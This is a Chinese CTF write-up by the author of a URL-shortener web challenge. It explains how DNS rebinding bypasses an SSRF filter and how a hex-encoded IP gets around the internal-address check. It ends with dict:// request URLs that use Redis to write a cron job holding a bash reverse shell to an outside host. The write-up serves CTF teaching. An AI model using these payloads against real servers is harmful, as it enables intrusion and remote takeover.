胖哈勃杯第十三届CUIT校赛web300短域名工具wp及出题心得

此题是一个短域名生成工具,某次使用google短域名的时候,发现居然还会请求域名!后面发现挺多短域名工具也会这样做,所以以此为契机。

非预期解法绕过

http://0xAC120002

这个题目,我是做了严格的过滤的,302跳转后的地址也是验证的,另外对内网地址限制,是先经过解析为ip,然后再进行ip限制。但是当时没仔细看ip的限制,docker里面的ip是172.18段,导致是可以绕过的。
代码修改于:
https://github.com/chengable/safe_code

我就说说原本的思路吧

主要考察两点:
1、dns重绑定绕过ssrf的waf
2、dict协议利用

php的waf做判断的时候,第一次会解析域名的ip,然后判断这个ip是不是内网ip,如果不是内网ip的时候,再去真正用curl请求这个域名。
这就牵涉到了,curl请求这个域名会做第二次域名解析,重新对dns服务器进行请求,获得到一个内网ip,这时候就是绕过限制请求到了内网资源。
当然需要ttl设置为0,不然里面坑点挺多。

自己写一个dns服务器,

所以当我们请求的时候:
http://域名/tools.php?a=s&u=http://ip:88/_testok
等价于:
http://127.0.0.1/tools.php?a=s&u=http://ip:88/_testok

可以看到是dns绕过限制成功

另外可以从phpinfo中获取到很多信息。比如redis的主机

另外还有一个很重要的点:libcurl是7.19.7,版本很老,只支持tftp, ftp, telnet, dict, http, file
大家对gopher比较熟悉,但是事实上,dict等协议也是可以利用的,比如利用它来攻击redis

最后的exp:

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/save

这里面最需要注意的就是编码问题,一不小心就很容易出问题

posted @ 2017-05-29 15:45  l3m0n  阅读(2613)  评论(0编辑  收藏  举报